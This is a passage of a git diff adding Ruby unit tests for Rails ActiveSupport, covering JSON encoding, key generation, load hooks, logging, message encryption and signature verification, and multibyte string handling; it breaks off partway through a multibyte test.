+ s = '二'.encode('Shift_JIS')
+ result = ActiveSupport::JSON.encode(s)
+ assert_equal '"二"', result
+ assert_equal Encoding::UTF_8, result.encoding
+ end
+
+ def test_wide_utf8_chars
+ w = '𠜎'
+ result = ActiveSupport::JSON.encode(w)
+ assert_equal '"𠜎"', result
+ end
+
+ def test_wide_utf8_roundtrip
+ hash = { string: "𐒑" }
+ json = ActiveSupport::JSON.encode(hash)
+ decoded_hash = ActiveSupport::JSON.decode(json)
+ assert_equal "𐒑", decoded_hash['string']
+ end
+
+ def test_exception_raised_when_encoding_circular_reference_in_array
+ a = [1]
+ a << a
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
+
+ def test_exception_raised_when_encoding_circular_reference_in_hash
+ a = { :name => 'foo' }
+ a[:next] = a
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
+
+ def test_exception_raised_when_encoding_circular_reference_in_hash_inside_array
+ a = { :name => 'foo', :sub => [] }
+ a[:sub] << a
+ assert_raise(ActiveSupport::JSON::Encoding::CircularReferenceError) { ActiveSupport::JSON.encode(a) }
+ end
+
+ def test_hash_key_identifiers_are_always_quoted
+ values = {0 => 0, 1 => 1, :_ => :_, "$" => "$", "a" => "a", :A => :A, :A0 => :A0, "A0B" => "A0B"}
+ assert_equal %w( "$" "A" "A0" "A0B" "_" "a" "0" "1" ).sort, object_keys(ActiveSupport::JSON.encode(values))
+ end
+
+ def test_hash_should_allow_key_filtering_with_only
+ assert_equal %({"a":1}), ActiveSupport::JSON.encode({'a' => 1, :b => 2, :c => 3}, :only => 'a')
+ end
+
+ def test_hash_should_allow_key_filtering_with_except
+ assert_equal %({"b":2}), ActiveSupport::JSON.encode({'foo' => 'bar', :b => 2, :c => 3}, :except => ['foo', :c])
+ end
+
+ def test_time_to_json_includes_local_offset
+ ActiveSupport.use_standard_json_time_format = true
+ with_env_tz 'US/Eastern' do
+ assert_equal %("2005-02-01T15:15:10-05:00"), ActiveSupport::JSON.encode(Time.local(2005,2,1,15,15,10))
+ end
+ ensure
+ ActiveSupport.use_standard_json_time_format = false
+ end
+
+ def test_hash_with_time_to_json
+ assert_equal '{"time":"2009/01/01 00:00:00 +0000"}', { :time => Time.utc(2009) }.to_json
+ end
+
+ def test_nested_hash_with_float
+ assert_nothing_raised do
+ hash = {
+ "CHI" => {
+ :dislay_name => "chicago",
+ :latitude => 123.234
+ }
+ }
+ ActiveSupport::JSON.encode(hash)
+ end
+ end
+
+ def test_hash_should_pass_encoding_options_to_children_in_as_json
+ person = {
+ :name => 'John',
+ :address => {
+ :city => 'London',
+ :country => 'UK'
+ }
+ }
+ json = person.as_json :only => [:address, :city]
+
+ assert_equal({ 'address' => { 'city' => 'London' }}, json)
+ end
+
+ def test_hash_should_pass_encoding_options_to_children_in_to_json
+ person = {
+ :name => 'John',
+ :address => {
+ :city => 'London',
+ :country => 'UK'
+ }
+ }
+ json = person.to_json :only => [:address, :city]
+
+ assert_equal(%({"address":{"city":"London"}}), json)
+ end
+
+ def test_array_should_pass_encoding_options_to_children_in_as_json
+ people = [
+ { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
+ { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+ ]
+ json = people.as_json :only => [:address, :city]
+ expected = [
+ { 'address' => { 'city' => 'London' }},
+ { 'address' => { 'city' => 'Paris' }}
+ ]
+
+ assert_equal(expected, json)
+ end
+
+ def test_array_should_pass_encoding_options_to_children_in_to_json
+ people = [
+ { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
+ { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+ ]
+ json = people.to_json :only => [:address, :city]
+
+ assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
+ end
+
+ def test_enumerable_should_pass_encoding_options_to_children_in_as_json
+ people = [
+ { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
+ { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+ ]
+ json = people.each.as_json :only => [:address, :city]
+ expected = [
+ { 'address' => { 'city' => 'London' }},
+ { 'address' => { 'city' => 'Paris' }}
+ ]
+
+ assert_equal(expected, json)
+ end
+
+ def test_enumerable_should_pass_encoding_options_to_children_in_to_json
+ people = [
+ { :name => 'John', :address => { :city => 'London', :country => 'UK' }},
+ { :name => 'Jean', :address => { :city => 'Paris' , :country => 'France' }}
+ ]
+ json = people.each.to_json :only => [:address, :city]
+
+ assert_equal(%([{"address":{"city":"London"}},{"address":{"city":"Paris"}}]), json)
+ end
+
+ def test_to_json_should_not_keep_options_around
+ f = CustomWithOptions.new
+ f.foo = "hello"
+ f.bar = "world"
+
+ hash = {"foo" => f, "other_hash" => {"foo" => "other_foo", "test" => "other_test"}}
+ assert_equal({"foo"=>{"foo"=>"hello","bar"=>"world"},
+ "other_hash" => {"foo"=>"other_foo","test"=>"other_test"}}, JSON.parse(hash.to_json))
+ end
+
+ def test_struct_encoding
+ Struct.new('UserNameAndEmail', :name, :email)
+ Struct.new('UserNameAndDate', :name, :date)
+ Struct.new('Custom', :name, :sub)
+ user_email = Struct::UserNameAndEmail.new 'David', 'sample at example.com'
+ user_birthday = Struct::UserNameAndDate.new 'David', Date.new(2010, 01, 01)
+ custom = Struct::Custom.new 'David', user_birthday
+
+
+ json_strings = ""
+ json_string_and_date = ""
+ json_custom = ""
+
+ assert_nothing_raised do
+ json_strings = user_email.to_json
+ json_string_and_date = user_birthday.to_json
+ json_custom = custom.to_json
+ end
+
+ assert_equal({"name" => "David",
+ "sub" => {
+ "name" => "David",
+ "date" => "2010/01/01" }}, JSON.parse(json_custom))
+
+ assert_equal({"name" => "David", "email" => "sample at example.com"},
+ JSON.parse(json_strings))
+
+ assert_equal({"name" => "David", "date" => "2010/01/01"},
+ JSON.parse(json_string_and_date))
+ end
+
+ def test_opt_out_big_decimal_string_serialization
+ big_decimal = BigDecimal('2.5')
+
+ begin
+ ActiveSupport.encode_big_decimal_as_string = false
+ assert_equal big_decimal.to_s, big_decimal.to_json
+ ensure
+ ActiveSupport.encode_big_decimal_as_string = true
+ end
+ end
+
+ def test_nil_true_and_false_represented_as_themselves
+ assert_equal nil, nil.as_json
+ assert_equal true, true.as_json
+ assert_equal false, false.as_json
+ end
+
+ protected
+
+ def object_keys(json_object)
+ json_object[1..-2].scan(/([^{}:,\s]+):/).flatten.sort
+ end
+
+ def with_env_tz(new_tz = 'US/Eastern')
+ old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+ yield
+ ensure
+ old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ end
+end
diff --git a/activesupport/test/key_generator_test.rb b/activesupport/test/key_generator_test.rb
new file mode 100644
index 0000000..525082d
--- /dev/null
+++ b/activesupport/test/key_generator_test.rb
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+
+begin
+ require 'openssl'
+ OpenSSL::PKCS5
+rescue LoadError, NameError
+ $stderr.puts "Skipping KeyGenerator test: broken OpenSSL install"
+else
+
+require 'active_support/time'
+require 'active_support/json'
+
+class KeyGeneratorTest < ActiveSupport::TestCase
+ def setup
+ @secret = SecureRandom.hex(64)
+ @generator = ActiveSupport::KeyGenerator.new(@secret, :iterations=>2)
+ end
+
+ test "Generating a key of the default length" do
+ derived_key = @generator.generate_key("some_salt")
+ assert_kind_of String, derived_key
+ assert_equal OpenSSL::Digest::SHA1.new.block_length, derived_key.length, "Should have generated a key of the default size"
+ end
+
+ test "Generating a key of an alternative length" do
+ derived_key = @generator.generate_key("some_salt", 32)
+ assert_kind_of String, derived_key
+ assert_equal 32, derived_key.length, "Should have generated a key of the right size"
+ end
+end
+
+end
diff --git a/activesupport/test/lazy_load_hooks_test.rb b/activesupport/test/lazy_load_hooks_test.rb
new file mode 100644
index 0000000..7851634
--- /dev/null
+++ b/activesupport/test/lazy_load_hooks_test.rb
@@ -0,0 +1,96 @@
+require 'abstract_unit'
+
+class LazyLoadHooksTest < ActiveSupport::TestCase
+ def test_basic_hook
+ i = 0
+ ActiveSupport.on_load(:basic_hook) { i += 1 }
+ ActiveSupport.run_load_hooks(:basic_hook)
+ assert_equal 1, i
+ end
+
+ def test_basic_hook_with_two_registrations
+ i = 0
+ ActiveSupport.on_load(:basic_hook_with_two) { i += incr }
+ assert_equal 0, i
+ ActiveSupport.run_load_hooks(:basic_hook_with_two, FakeContext.new(2))
+ assert_equal 2, i
+ ActiveSupport.run_load_hooks(:basic_hook_with_two, FakeContext.new(5))
+ assert_equal 7, i
+ end
+
+ def test_hook_registered_after_run
+ i = 0
+ ActiveSupport.run_load_hooks(:registered_after)
+ assert_equal 0, i
+ ActiveSupport.on_load(:registered_after) { i += 1 }
+ assert_equal 1, i
+ end
+
+ def test_hook_registered_after_run_with_two_registrations
+ i = 0
+ ActiveSupport.run_load_hooks(:registered_after_with_two, FakeContext.new(2))
+ ActiveSupport.run_load_hooks(:registered_after_with_two, FakeContext.new(5))
+ assert_equal 0, i
+ ActiveSupport.on_load(:registered_after_with_two) { i += incr }
+ assert_equal 7, i
+ end
+
+ def test_hook_registered_interleaved_run_with_two_registrations
+ i = 0
+ ActiveSupport.run_load_hooks(:registered_interleaved_with_two, FakeContext.new(2))
+ assert_equal 0, i
+ ActiveSupport.on_load(:registered_interleaved_with_two) { i += incr }
+ assert_equal 2, i
+ ActiveSupport.run_load_hooks(:registered_interleaved_with_two, FakeContext.new(5))
+ assert_equal 7, i
+ end
+
+ def test_hook_receives_a_context
+ i = 0
+ ActiveSupport.on_load(:contextual) { i += incr }
+ assert_equal 0, i
+ ActiveSupport.run_load_hooks(:contextual, FakeContext.new(2))
+ assert_equal 2, i
+ end
+
+ def test_hook_receives_a_context_afterward
+ i = 0
+ ActiveSupport.run_load_hooks(:contextual_after, FakeContext.new(2))
+ assert_equal 0, i
+ ActiveSupport.on_load(:contextual_after) { i += incr }
+ assert_equal 2, i
+ end
+
+ def test_hook_with_yield_true
+ i = 0
+ ActiveSupport.on_load(:contextual_yield, :yield => true) do |obj|
+ i += obj.incr + incr_amt
+ end
+ assert_equal 0, i
+ ActiveSupport.run_load_hooks(:contextual_yield, FakeContext.new(2))
+ assert_equal 7, i
+ end
+
+ def test_hook_with_yield_true_afterward
+ i = 0
+ ActiveSupport.run_load_hooks(:contextual_yield_after, FakeContext.new(2))
+ assert_equal 0, i
+ ActiveSupport.on_load(:contextual_yield_after, :yield => true) do |obj|
+ i += obj.incr + incr_amt
+ end
+ assert_equal 7, i
+ end
+
+private
+
+ def incr_amt
+ 5
+ end
+
+ class FakeContext
+ attr_reader :incr
+ def initialize(incr)
+ @incr = incr
+ end
+ end
+end
\ No newline at end of file
diff --git a/activesupport/test/load_paths_test.rb b/activesupport/test/load_paths_test.rb
new file mode 100644
index 0000000..979e25b
--- /dev/null
+++ b/activesupport/test/load_paths_test.rb
@@ -0,0 +1,16 @@
+require 'abstract_unit'
+
+class LoadPathsTest < ActiveSupport::TestCase
+ def test_uniq_load_paths
+ load_paths_count = $LOAD_PATH.inject({}) { |paths, path|
+ expanded_path = File.expand_path(path)
+ paths[expanded_path] ||= 0
+ paths[expanded_path] += 1
+ paths
+ }
+ load_paths_count[File.expand_path('../../lib', __FILE__)] -= 1
+
+ filtered = load_paths_count.select { |k, v| v > 1 }
+ assert filtered.empty?, filtered.inspect
+ end
+end
diff --git a/activesupport/test/log_subscriber_test.rb b/activesupport/test/log_subscriber_test.rb
new file mode 100644
index 0000000..2a0e8d2
--- /dev/null
+++ b/activesupport/test/log_subscriber_test.rb
@@ -0,0 +1,123 @@
+require 'abstract_unit'
+require 'active_support/log_subscriber/test_helper'
+
+class MyLogSubscriber < ActiveSupport::LogSubscriber
+ attr_reader :event
+
+ def some_event(event)
+ @event = event
+ info event.name
+ end
+
+ def foo(event)
+ debug "debug"
+ info { "info" }
+ warn "warn"
+ end
+
+ def bar(event)
+ info "#{color("cool", :red)}, #{color("isn't it?", :blue, true)}"
+ end
+
+ def puke(event)
+ raise "puke"
+ end
+end
+
+class SyncLogSubscriberTest < ActiveSupport::TestCase
+ include ActiveSupport::LogSubscriber::TestHelper
+
+ def setup
+ super
+ @log_subscriber = MyLogSubscriber.new
+ end
+
+ def teardown
+ super
+ ActiveSupport::LogSubscriber.log_subscribers.clear
+ end
+
+ def instrument(*args, &block)
+ ActiveSupport::Notifications.instrument(*args, &block)
+ end
+
+ def test_proxies_method_to_rails_logger
+ @log_subscriber.foo(nil)
+ assert_equal %w(debug), @logger.logged(:debug)
+ assert_equal %w(info), @logger.logged(:info)
+ assert_equal %w(warn), @logger.logged(:warn)
+ end
+
+ def test_set_color_for_messages
+ ActiveSupport::LogSubscriber.colorize_logging = true
+ @log_subscriber.bar(nil)
+ assert_equal "\e[31mcool\e[0m, \e[1m\e[34misn't it?\e[0m", @logger.logged(:info).last
+ end
+
+ def test_does_not_set_color_if_colorize_logging_is_set_to_false
+ @log_subscriber.bar(nil)
+ assert_equal "cool, isn't it?", @logger.logged(:info).last
+ end
+
+ def test_event_is_sent_to_the_registered_class
+ ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+ instrument "some_event.my_log_subscriber"
+ wait
+ assert_equal %w(some_event.my_log_subscriber), @logger.logged(:info)
+ end
+
+ def test_event_is_an_active_support_notifications_event
+ ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+ instrument "some_event.my_log_subscriber"
+ wait
+ assert_kind_of ActiveSupport::Notifications::Event, @log_subscriber.event
+ end
+
+ def test_does_not_send_the_event_if_it_doesnt_match_the_class
+ ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+ instrument "unknown_event.my_log_subscriber"
+ wait
+ # If we get here, it means that NoMethodError was not raised.
+ end
+
+ def test_does_not_send_the_event_if_logger_is_nil
+ ActiveSupport::LogSubscriber.logger = nil
+ @log_subscriber.expects(:some_event).never
+ ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+ instrument "some_event.my_log_subscriber"
+ wait
+ end
+
+ def test_does_not_fail_with_non_namespaced_events
+ ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+ instrument "whatever"
+ wait
+ end
+
+ def test_flushes_loggers
+ ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+ ActiveSupport::LogSubscriber.flush_all!
+ assert_equal 1, @logger.flush_count
+ end
+
+ def test_flushes_the_same_logger_just_once
+ ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+ ActiveSupport::LogSubscriber.attach_to :another, @log_subscriber
+ ActiveSupport::LogSubscriber.flush_all!
+ wait
+ assert_equal 1, @logger.flush_count
+ end
+
+ def test_logging_does_not_die_on_failures
+ ActiveSupport::LogSubscriber.attach_to :my_log_subscriber, @log_subscriber
+ instrument "puke.my_log_subscriber"
+ instrument "some_event.my_log_subscriber"
+ wait
+
+ assert_equal 1, @logger.logged(:info).size
+ assert_equal 'some_event.my_log_subscriber', @logger.logged(:info).last
+
+ assert_equal 1, @logger.logged(:error).size
+ assert_match 'Could not log "puke.my_log_subscriber" event. RuntimeError: puke', @logger.logged(:error).last
+ end
+end
diff --git a/activesupport/test/logger_test.rb b/activesupport/test/logger_test.rb
new file mode 100644
index 0000000..d280184
--- /dev/null
+++ b/activesupport/test/logger_test.rb
@@ -0,0 +1,133 @@
+require 'abstract_unit'
+require 'multibyte_test_helpers'
+require 'stringio'
+require 'fileutils'
+require 'tempfile'
+
+class LoggerTest < ActiveSupport::TestCase
+ include MultibyteTestHelpers
+
+ Logger = ActiveSupport::Logger
+
+ def setup
+ @message = "A debug message"
+ @integer_message = 12345
+ @output = StringIO.new
+ @logger = Logger.new(@output)
+ end
+
+ def test_write_binary_data_to_existing_file
+ t = Tempfile.new ['development', 'log']
+ t.binmode
+ t.write 'hi mom!'
+ t.close
+
+ f = File.open(t.path, 'w')
+ f.binmode
+
+ logger = Logger.new f
+ logger.level = Logger::DEBUG
+
+ str = "\x80"
+ str.force_encoding("ASCII-8BIT")
+
+ logger.add Logger::DEBUG, str
+ ensure
+ logger.close
+ t.close true
+ end
+
+ def test_write_binary_data_create_file
+ fname = File.join Dir.tmpdir, 'lol', 'rofl.log'
+ FileUtils.mkdir_p File.dirname(fname)
+ f = File.open(fname, 'w')
+ f.binmode
+
+ logger = Logger.new f
+ logger.level = Logger::DEBUG
+
+ str = "\x80"
+ str.force_encoding("ASCII-8BIT")
+
+ logger.add Logger::DEBUG, str
+ ensure
+ logger.close
+ File.unlink fname
+ end
+
+ def test_should_log_debugging_message_when_debugging
+ @logger.level = Logger::DEBUG
+ @logger.add(Logger::DEBUG, @message)
+ assert @output.string.include?(@message)
+ end
+
+ def test_should_not_log_debug_messages_when_log_level_is_info
+ @logger.level = Logger::INFO
+ @logger.add(Logger::DEBUG, @message)
+ assert ! @output.string.include?(@message)
+ end
+
+ def test_should_add_message_passed_as_block_when_using_add
+ @logger.level = Logger::INFO
+ @logger.add(Logger::INFO) {@message}
+ assert @output.string.include?(@message)
+ end
+
+ def test_should_add_message_passed_as_block_when_using_shortcut
+ @logger.level = Logger::INFO
+ @logger.info {@message}
+ assert @output.string.include?(@message)
+ end
+
+ def test_should_convert_message_to_string
+ @logger.level = Logger::INFO
+ @logger.info @integer_message
+ assert @output.string.include?(@integer_message.to_s)
+ end
+
+ def test_should_convert_message_to_string_when_passed_in_block
+ @logger.level = Logger::INFO
+ @logger.info {@integer_message}
+ assert @output.string.include?(@integer_message.to_s)
+ end
+
+ def test_should_not_evaluate_block_if_message_wont_be_logged
+ @logger.level = Logger::INFO
+ evaluated = false
+ @logger.add(Logger::DEBUG) {evaluated = true}
+ assert evaluated == false
+ end
+
+ def test_should_not_mutate_message
+ message_copy = @message.dup
+ @logger.info @message
+ assert_equal message_copy, @message
+ end
+
+ def test_should_know_if_its_loglevel_is_below_a_given_level
+ Logger::Severity.constants.each do |level|
+ next if level.to_s == 'UNKNOWN'
+ @logger.level = Logger::Severity.const_get(level) - 1
+ assert @logger.send("#{level.downcase}?"), "didn't know if it was #{level.downcase}? or below"
+ end
+ end
+
+ def test_buffer_multibyte
+ @logger.info(UNICODE_STRING)
+ @logger.info(BYTE_STRING)
+ assert @output.string.include?(UNICODE_STRING)
+ byte_string = @output.string.dup
+ byte_string.force_encoding("ASCII-8BIT")
+ assert byte_string.include?(BYTE_STRING)
+ end
+
+ def test_silencing_everything_but_errors
+ @logger.silence do
+ @logger.debug "NOT THERE"
+ @logger.error "THIS IS HERE"
+ end
+
+ assert !@output.string.include?("NOT THERE")
+ assert @output.string.include?("THIS IS HERE")
+ end
+end
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
new file mode 100644
index 0000000..06c7e8a
--- /dev/null
+++ b/activesupport/test/message_encryptor_test.rb
@@ -0,0 +1,85 @@
+require 'abstract_unit'
+
+begin
+ require 'openssl'
+ OpenSSL::Digest::SHA1
+rescue LoadError, NameError
+ $stderr.puts "Skipping MessageEncryptor test: broken OpenSSL install"
+else
+
+require 'active_support/time'
+require 'active_support/json'
+
+class MessageEncryptorTest < ActiveSupport::TestCase
+ class JSONSerializer
+ def dump(value)
+ ActiveSupport::JSON.encode(value)
+ end
+
+ def load(value)
+ ActiveSupport::JSON.decode(value)
+ end
+ end
+
+ def setup
+ @secret = SecureRandom.hex(64)
+ @verifier = ActiveSupport::MessageVerifier.new(@secret, :serializer => ActiveSupport::MessageEncryptor::NullSerializer)
+ @encryptor = ActiveSupport::MessageEncryptor.new(@secret)
+ @data = { :some => "data", :now => Time.local(2010) }
+ end
+
+ def test_encrypting_twice_yields_differing_cipher_text
+ first_message = @encryptor.encrypt_and_sign(@data).split("--").first
+ second_message = @encryptor.encrypt_and_sign(@data).split("--").first
+ assert_not_equal first_message, second_message
+ end
+
+ def test_messing_with_either_encrypted_values_causes_failure
+ text, iv = @verifier.verify(@encryptor.encrypt_and_sign(@data)).split("--")
+ assert_not_decrypted([iv, text] * "--")
+ assert_not_decrypted([text, munge(iv)] * "--")
+ assert_not_decrypted([munge(text), iv] * "--")
+ assert_not_decrypted([munge(text), munge(iv)] * "--")
+ end
+
+ def test_messing_with_verified_values_causes_failures
+ text, iv = @encryptor.encrypt_and_sign(@data).split("--")
+ assert_not_verified([iv, text] * "--")
+ assert_not_verified([text, munge(iv)] * "--")
+ assert_not_verified([munge(text), iv] * "--")
+ assert_not_verified([munge(text), munge(iv)] * "--")
+ end
+
+ def test_signed_round_tripping
+ message = @encryptor.encrypt_and_sign(@data)
+ assert_equal @data, @encryptor.decrypt_and_verify(message)
+ end
+
+ def test_alternative_serialization_method
+ encryptor = ActiveSupport::MessageEncryptor.new(SecureRandom.hex(64), SecureRandom.hex(64), :serializer => JSONSerializer.new)
+ message = encryptor.encrypt_and_sign({ :foo => 123, 'bar' => Time.utc(2010) })
+ assert_equal encryptor.decrypt_and_verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+ end
+
+ private
+
+ def assert_not_decrypted(value)
+ assert_raise(ActiveSupport::MessageEncryptor::InvalidMessage) do
+ @encryptor.decrypt_and_verify(@verifier.generate(value))
+ end
+ end
+
+ def assert_not_verified(value)
+ assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+ @encryptor.decrypt_and_verify(value)
+ end
+ end
+
+ def munge(base64_string)
+ bits = ::Base64.decode64(base64_string)
+ bits.reverse!
+ ::Base64.strict_encode64(bits)
+ end
+end
+
+end
diff --git a/activesupport/test/message_verifier_test.rb b/activesupport/test/message_verifier_test.rb
new file mode 100644
index 0000000..5adff41
--- /dev/null
+++ b/activesupport/test/message_verifier_test.rb
@@ -0,0 +1,60 @@
+require 'abstract_unit'
+
+begin
+ require 'openssl'
+ OpenSSL::Digest::SHA1
+rescue LoadError, NameError
+ $stderr.puts "Skipping MessageVerifier test: broken OpenSSL install"
+else
+
+require 'active_support/time'
+require 'active_support/json'
+
+class MessageVerifierTest < ActiveSupport::TestCase
+
+ class JSONSerializer
+ def dump(value)
+ ActiveSupport::JSON.encode(value)
+ end
+
+ def load(value)
+ ActiveSupport::JSON.decode(value)
+ end
+ end
+
+ def setup
+ @verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!")
+ @data = { :some => "data", :now => Time.local(2010) }
+ end
+
+ def test_simple_round_tripping
+ message = @verifier.generate(@data)
+ assert_equal @data, @verifier.verify(message)
+ end
+
+ def test_missing_signature_raises
+ assert_not_verified(nil)
+ assert_not_verified("")
+ end
+
+ def test_tampered_data_raises
+ data, hash = @verifier.generate(@data).split("--")
+ assert_not_verified("#{data.reverse}--#{hash}")
+ assert_not_verified("#{data}--#{hash.reverse}")
+ assert_not_verified("purejunk")
+ end
+
+ def test_alternative_serialization_method
+ verifier = ActiveSupport::MessageVerifier.new("Hey, I'm a secret!", :serializer => JSONSerializer.new)
+ message = verifier.generate({ :foo => 123, 'bar' => Time.utc(2010) })
+ assert_equal verifier.verify(message), { "foo" => 123, "bar" => "2010-01-01T00:00:00Z" }
+ end
+
+ def assert_not_verified(message)
+ assert_raise(ActiveSupport::MessageVerifier::InvalidSignature) do
+ @verifier.verify(message)
+ end
+ end
+end
+
+end
diff --git a/activesupport/test/multibyte_chars_test.rb b/activesupport/test/multibyte_chars_test.rb
new file mode 100644
index 0000000..2bf7329
--- /dev/null
+++ b/activesupport/test/multibyte_chars_test.rb
@@ -0,0 +1,713 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'multibyte_test_helpers'
+require 'active_support/core_ext/string/multibyte'
+
+class String
+ def __method_for_multibyte_testing_with_integer_result; 1; end
+ def __method_for_multibyte_testing; 'result'; end
+ def __method_for_multibyte_testing!; 'result'; end
+ def __method_for_multibyte_testing_that_returns_nil!; end
+end
+
+class MultibyteCharsTest < ActiveSupport::TestCase
+ include MultibyteTestHelpers
+
+ def setup
+ @proxy_class = ActiveSupport::Multibyte::Chars
+ @chars = @proxy_class.new UNICODE_STRING
+ end
+
+ def test_wraps_the_original_string
+ assert_equal UNICODE_STRING, @chars.to_s
+ assert_equal UNICODE_STRING, @chars.wrapped_string
+ end
+
+ def test_should_allow_method_calls_to_string
+ assert_nothing_raised do
+ @chars.__method_for_multibyte_testing
+ end
+ assert_raise NoMethodError do
+ @chars.__unknown_method
+ end
+ end
+
+ def test_forwarded_method_calls_should_return_new_chars_instance
+ assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing
+ assert_not_equal @chars.object_id, @chars.__method_for_multibyte_testing.object_id
+ end
+
+ def test_forwarded_bang_method_calls_should_return_the_original_chars_instance_when_result_is_not_nil
+ assert_kind_of @proxy_class, @chars.__method_for_multibyte_testing!
+ assert_equal @chars.object_id, @chars.__method_for_multibyte_testing!.object_id
+ end
+
+ def test_forwarded_bang_method_calls_should_return_nil_when_result_is_nil
+ assert_nil @chars.__method_for_multibyte_testing_that_returns_nil!
+ end
+
+ def test_methods_are_forwarded_to_wrapped_string_for_byte_strings
+ original_encoding = BYTE_STRING.encoding
+ assert_equal BYTE_STRING.length, BYTE_STRING.mb_chars.length
+ ensure
+ BYTE_STRING.force_encoding(original_encoding)
+ end
+
+ def test_forwarded_method_with_non_string_result_should_be_returned_vertabim
+ assert_equal ''.__method_for_multibyte_testing_with_integer_result, @chars.__method_for_multibyte_testing_with_integer_result
+ end
+
+ def test_should_concatenate
+ mb_a = 'a'.mb_chars
+ mb_b = 'b'.mb_chars
+ assert_equal 'ab', mb_a + 'b'
+ assert_equal 'ab', 'a' + mb_b
+ assert_equal 'ab', mb_a + mb_b
+
+ assert_equal 'ab', mb_a << 'b'
+ assert_equal 'ab', 'a' << mb_b
+ assert_equal 'abb', mb_a << mb_b
+ end
+
+ def test_consumes_utf8_strings
+ assert @proxy_class.consumes?(UNICODE_STRING)
+ assert @proxy_class.consumes?(ASCII_STRING)
+ assert !@proxy_class.consumes?(BYTE_STRING)
+ end
+
+ def test_concatenation_should_return_a_proxy_class_instance
+ assert_equal ActiveSupport::Multibyte.proxy_class, ('a'.mb_chars + 'b').class
+ assert_equal ActiveSupport::Multibyte.proxy_class, ('a'.mb_chars << 'b').class
+ end
+
+ def test_ascii_strings_are_treated_at_utf8_strings
+ assert_equal ActiveSupport::Multibyte.proxy_class, ASCII_STRING.mb_chars.class
+ end
+
+ def test_concatenate_should_return_proxy_instance
+ assert(('a'.mb_chars + 'b').kind_of?(@proxy_class))
+ assert(('a'.mb_chars + 'b'.mb_chars).kind_of?(@proxy_class))
+ assert(('a'.mb_chars << 'b').kind_of?(@proxy_class))
+ assert(('a'.mb_chars << 'b'.mb_chars).kind_of?(@proxy_class))
+ end
+
+ def test_should_return_string_as_json
+ assert_equal UNICODE_STRING, @chars.as_json
+ end
+end
+
+class MultibyteCharsUTF8BehaviourTest < ActiveSupport::TestCase
+ include MultibyteTestHelpers
+
+ def setup
+ @chars = UNICODE_STRING.dup.mb_chars
+ # Ruby 1.9 only supports basic whitespace
+ @whitespace = "\n\t "
+ @byte_order_mark = [65279].pack('U')
+ end
+
+ def test_split_should_return_an_array_of_chars_instances
+ @chars.split(//).each do |character|
+ assert_kind_of ActiveSupport::Multibyte.proxy_class, character
+ end
+ end
+
+ %w{capitalize downcase lstrip reverse rstrip swapcase upcase}.each do |method|
+ class_eval(<<-EOTESTS, __FILE__, __LINE__ + 1)
+ def test_#{method}_bang_should_return_self_when_modifying_wrapped_string
+ chars = ' él piDió Un bUen café '
+ assert_equal chars.object_id, chars.send("#{method}!").object_id
+ end
+
+ def test_#{method}_bang_should_change_wrapped_string
+ original = ' él piDió Un bUen café '
+ proxy = chars(original.dup)
+ proxy.send("#{method}!")
+ assert_not_equal original, proxy.to_s
+ end
+ EOTESTS
+ end
+
+ def test_tidy_bytes_bang_should_return_self
+ assert_equal @chars.object_id, @chars.tidy_bytes!.object_id
+ end
+
+ def test_tidy_bytes_bang_should_change_wrapped_string
+ original = " Un bUen café \x92"
+ proxy = chars(original.dup)
+ proxy.tidy_bytes!
+ assert_not_equal original, proxy.to_s
+ end
+
+ def test_unicode_string_should_have_utf8_encoding
+ assert_equal Encoding::UTF_8, UNICODE_STRING.encoding
+ end
+
+ def test_identity
+ assert_equal @chars, @chars
+ assert @chars.eql?(@chars)
+ assert !@chars.eql?(UNICODE_STRING)
+ end
+
+ def test_string_methods_are_chainable
+ assert chars('').insert(0, '').kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').rjust(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').ljust(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').center(1).kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').rstrip.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').lstrip.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').strip.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').reverse.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars(' ').slice(0).kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').limit(0).kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').upcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').downcase.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').capitalize.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').normalize.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').decompose.kind_of?(ActiveSupport::Multibyte.proxy_class)
+ assert chars('').compose.kind_of?(ActiveSupport::Multibyte.proxy_class)
